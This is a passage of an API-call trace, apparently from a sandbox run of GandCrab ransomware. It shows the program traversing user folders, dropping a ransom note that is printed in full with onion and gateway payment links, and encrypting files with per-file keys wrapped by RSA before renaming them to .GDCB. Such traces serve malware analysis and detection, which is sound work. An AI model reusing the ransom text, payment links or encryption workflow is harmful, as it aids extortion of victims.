(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\GDCB-DECRYPT.txt") returned 79 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.016] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.016] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.016] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.016] lstrcmpW (lpString1="TranscodedWallpaper", lpString2=".") returned 1 [0055.016] lstrcmpW (lpString1="TranscodedWallpaper", lpString2="..") returned 1 [0055.016] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="TranscodedWallpaper" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" [0055.016] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.016] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned 82 [0055.016] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned 82 [0055.016] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.016] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0055.016] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0055.016] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0055.016] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0055.017] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0055.017] lstrcmpW (lpString1="Word", lpString2=".") returned 1 [0055.017] lstrcmpW (lpString1="Word", lpString2="..") returned 1 [0055.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Word" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word" [0055.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\" [0055.017] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.017] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.017] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.017] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.017] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.017] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.017] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\") returned 53 [0055.017] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*" [0055.017] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b85b0 [0055.017] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.017] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.017] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.017] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.017] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0055.017] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0055.017] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.018] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\\\GDCB-DECRYPT.txt") returned 70 [0055.018] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\word\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0055.018] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.018] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0055.018] CloseHandle (hObject=0x4f8) returned 1 [0055.019] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\") returned 53 [0055.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*" [0055.019] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8af0 [0055.019] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.019] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.019] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.019] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.019] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.019] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.019] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.019] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt" [0055.019] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.019] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt") returned 69 [0055.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt") returned 69 [0055.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt") returned 69 [0055.019] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Word\\GDCB-DECRYPT.txt") returned 69 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.019] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.019] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.020] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0055.020] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0055.020] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0055.020] FindClose (in: hFindFile=0x565640 | out: hFindFile=0x565640) returned 1 [0055.020] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0055.020] lstrcmpW (lpString1="mj7J-R46l5.pptx", lpString2=".") returned 1 [0055.020] lstrcmpW (lpString1="mj7J-R46l5.pptx", lpString2="..") returned 1 [0055.020] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="mj7J-R46l5.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" [0055.020] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.020] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned 53 [0055.020] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned 53 [0055.020] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned 53 [0055.020] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned 53 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="desktop.ini") returned 1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="autorun.inf") returned 1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="ntuser.dat") returned -1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="iconcache.db") returned 1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="bootsect.bak") returned 1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="boot.ini") returned 1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="ntuser.dat.log") returned -1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="thumbs.db") returned -1 [0055.020] lstrcmpiW (lpString1="mj7J-R46l5.pptx", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.020] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mj7j-r46l5.pptx")) returned 0x20 [0055.020] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx", dwFileAttributes=0x20) returned 1 [0055.021] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.021] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" [0055.021] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB" [0055.021] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.021] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.021] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.022] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.022] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0055.022] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.022] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.022] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.022] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.022] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.022] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.022] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0055.023] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.023] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.023] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.023] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.023] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0055.025] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b8870) returned 1 [0055.025] CryptGetKeyParam (in: hKey=0x5b8870, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.025] CryptEncrypt (in: hKey=0x5b8870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0055.025] GetLastError () returned 0x0 [0055.025] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.025] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5902c0) returned 1 [0055.027] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5b85b0) returned 1 [0055.027] CryptGetKeyParam (in: hKey=0x5b85b0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0055.027] CryptEncrypt (in: hKey=0x5b85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0055.027] GetLastError () returned 0x0 [0055.027] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0055.027] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mj7j-r46l5.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0055.028] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.028] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.028] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xb8e7, lpOverlapped=0x0) returned 1 [0055.032] VirtualAlloc (lpAddress=0x0, dwSize=0xb8f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.033] VirtualAlloc (lpAddress=0x0, dwSize=0xb8f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.034] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.034] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-47335, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.034] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xb8f0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xb8f0, lpOverlapped=0x0) returned 1 [0055.034] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.035] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.038] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.038] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0055.038] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0055.038] CloseHandle (hObject=0x4f4) returned 1 [0055.039] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.040] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.040] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.040] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mj7j-r46l5.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\mj7J-R46l5.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mj7j-r46l5.pptx.gdcb")) returned 1 [0055.041] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.041] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.041] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0055.041] lstrcmpW (lpString1="MlDkkPrkrB.mkv", lpString2=".") returned 1 [0055.041] lstrcmpW (lpString1="MlDkkPrkrB.mkv", lpString2="..") returned 1 [0055.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="MlDkkPrkrB.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" [0055.041] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.041] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned 52 [0055.041] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned 52 [0055.041] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned 52 [0055.041] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned 52 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="desktop.ini") returned 1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="autorun.inf") returned 1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="ntuser.dat") returned -1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="iconcache.db") returned 1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="bootsect.bak") returned 1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="boot.ini") returned 1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="ntuser.dat.log") returned -1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="thumbs.db") returned -1 [0055.041] lstrcmpiW (lpString1="MlDkkPrkrB.mkv", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.041] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mldkkprkrb.mkv")) returned 0x20 [0055.041] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv", dwFileAttributes=0x20) returned 1 [0055.042] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.042] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv" [0055.042] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\MlDkkPrkrB.mkv.GDCB" [0055.042] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.042] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.043] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.043] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0055.043] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.043] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.043] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0055.043] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.044] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.044] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0055.044] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.044] VirtualFree (lpAddress=0x2870000, 